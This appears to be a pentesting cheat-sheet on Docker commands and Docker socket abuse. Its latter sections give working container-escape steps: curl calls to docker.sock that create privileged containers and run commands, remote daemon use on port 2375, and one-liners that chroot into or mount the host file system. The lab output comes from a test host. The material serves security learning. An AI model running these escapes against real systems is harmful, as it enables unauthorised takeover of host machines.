Useful Docker commands & exploring Docker sockets
What is a docker socket⌗
Docker has a RESTful API for interacting with the Docker daemon (called the Docker engine API). This daemon is used to handle the running and managing of containers. It can listen for Docker Engine API requests via three different types of Socket: unix
, tcp
, and fd
.
Communication to a container can be created through the unix
domain socket (or IPC socket) which is created at /var/run/docker.sock
.
UNIX sockets are the same as network sockets except that a path and file are used as addresses for client-server communication (IPC).
By exposing the Docker API inside of a container through /var/run/docker.sock you are allowing anyone in the docker group or root privileges to use the Docker API which can lead to commands being executed on the host.
General docker commands⌗
Create container⌗
docker -H 192.168.22.130:2375 container create -it --privileged --name test5 alpine
84551dbee2b0b5dd61a998d09543f4ba7402b36fa8caa84484e32d2aefcf0508
docker -H 192.168.22.130:2375 container start --attach -i 84551dbee2b0
/ # hostname
84551dbee2b0
docker run -it --name mycontainer2 alpine
Execute commands on container⌗
docker run -it mycontainer2 ls
docker run localImage ls
docker exec mycontainer2 ls
Enumeration⌗
Find socket files⌗
find . / -type s,p
find / -name docker.sock 2>/dev/null
Find sockets⌗
/proc/net/tcp -a list of open tcp sockets
/proc/net/udp -a list of open udp sockets
/proc/net/raw -a list all the 'raw' sockets
Docker API communication⌗
Connect through socket⌗
curl --unix-socket docker.sock http://localhost/v1.41/images/json
docker -H docker.sock YourDockerCommand
Create container⌗
curl --unix-socket docker.sock -H "Content-Type: application/json" -d '{"Image": "level2", "Cmd": ["hostname"]}' -X POST http://localhost/v1.41/containers/create
Start container⌗
curl --unix-socket docker.sock -H "Content-Type: application/json" -X POST http://localhost/v1.41/containers/<CONATINER ID>/start
Create command to execute⌗
curl --unix-socket docker.sock http://localhost/v1.41/containers/<CONTAINER ID>/exec -d '{"AttachStderr": true,"AttachStdout": true,"Tty":true,"Cmd":["ls"]}' -H "Content-Type: application/json"
Start execution of command⌗
curl --unix-socket docker.sock http://localhost/v1.41/exec/<INSERT ID>/start -d '{"Tty":true}' -H "Content-Type: application/json"
curl --unix-socket docker.sock -H "Content-Type: application/json" -d '{"Image": "level2", "HostConfig":{"Privileged":true}}' -X POST http://localhost/v1.41/containers/create
Escape container with docker API⌗
If a docker container you are in has exposed the docker API through an IPC socket, docker daemon or by opening the docker port it can be abused to open a privileged container which can then mount the hosts file system inside of it.
root@62f69d202b3a:/$ curl --unix-socket docker.sock -H "Content-Type: application/json" -d '{"Image": "level2", "HostConfig":{"Privileged":true}}' -X POST http://localhost/v1.41/containers/create
{"Id":"13e1568e2363cc35874f47cb032653ae94eb91f469b3bcd8f7383aacbd1527a0","Warnings":[]}
root@62f69d202b3a:/$ curl --unix-socket docker.sock -H "Content-Type: application/json" -X POST http://localhost/v1.41/containers/13e1568e2363cc35874f47cb032653ae94eb91f469b3bcd8f7383aacbd1527a0/start
root@62f69d202b3a:/$ curl --unix-socket docker.sock http://localhost/v1.41/containers/13e1568e2363cc35874f47cb032653ae94eb91f469b3bcd8f7383aacbd1527a0/exec -d '{"AttachStderr": true,"AttachStdout": true,"Tty":true,"Cmd":["mkdir","-p","/mnt/hola"]}' -H "Content-Type: application/json"
{"Id":"72bdfff486d7b3912a1b5dfee65a6b789869d06f70163d7a5d47adf0a36fa741"}
root@62f69d202b3a:/$ curl --unix-socket docker.sock http://localhost/v1.41/exec/72bdfff486d7b3912a1b5dfee65a6b789869d06f70163d7a5d47adf0a36fa741/start -d '{"Tty":true}' -H "Content-Type: application/json"
bin dev home lib32 libx32 mnt proc run srv tmp var
boot etc lib lib64 media opt root sbin sys usr
Docker port exposed⌗
The docker -H
command can be supplied to provide the address of a remote host to run docker commands against
┌──(kali㉿kali)-[~/Documents/dockerEscapes/lab1]
└─$ docker -H 192.168.22.130:2375 info
Native Overlay Diff: true
userxattr: false
Logging Driver: json-file
Cgroup Driver: cgroupfs
Cgroup Version: 1
Plugins:
Volume: local
Network: bridge host ipvlan macvlan null overlay
Log: awslogs fluentd gcplogs gelf journald json-file local logentries splunk syslog
Swarm: inactive
Runtimes: io.containerd.runc.v2 io.containerd.runtime.v1.linux runc
Default Runtime: runc
Init Binary: docker-init
containerd version: d71fcd7d8303cbf684402823e425e9dd2e99285d
runc version: b9ee9c6314599f1b4a7f497e1f1f856fe433d3b7
init version: de40ad0
Security Options:
apparmor
seccomp
Profile: default
Kernel Version: 4.19.0-17-amd64
Operating System: Debian GNU/Linux 10 (hostname)
Either of these commands can be ran to escape a docker container, the second one provides a privileged container which can then be used to mount the hosts file system inside the container.
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
docker run --rm -it --privileged ubuntu bash
These commands mount the hosts file system inside the privileged container
mkdir -p /mnt/test
mount /dev/sda1 /mnt/test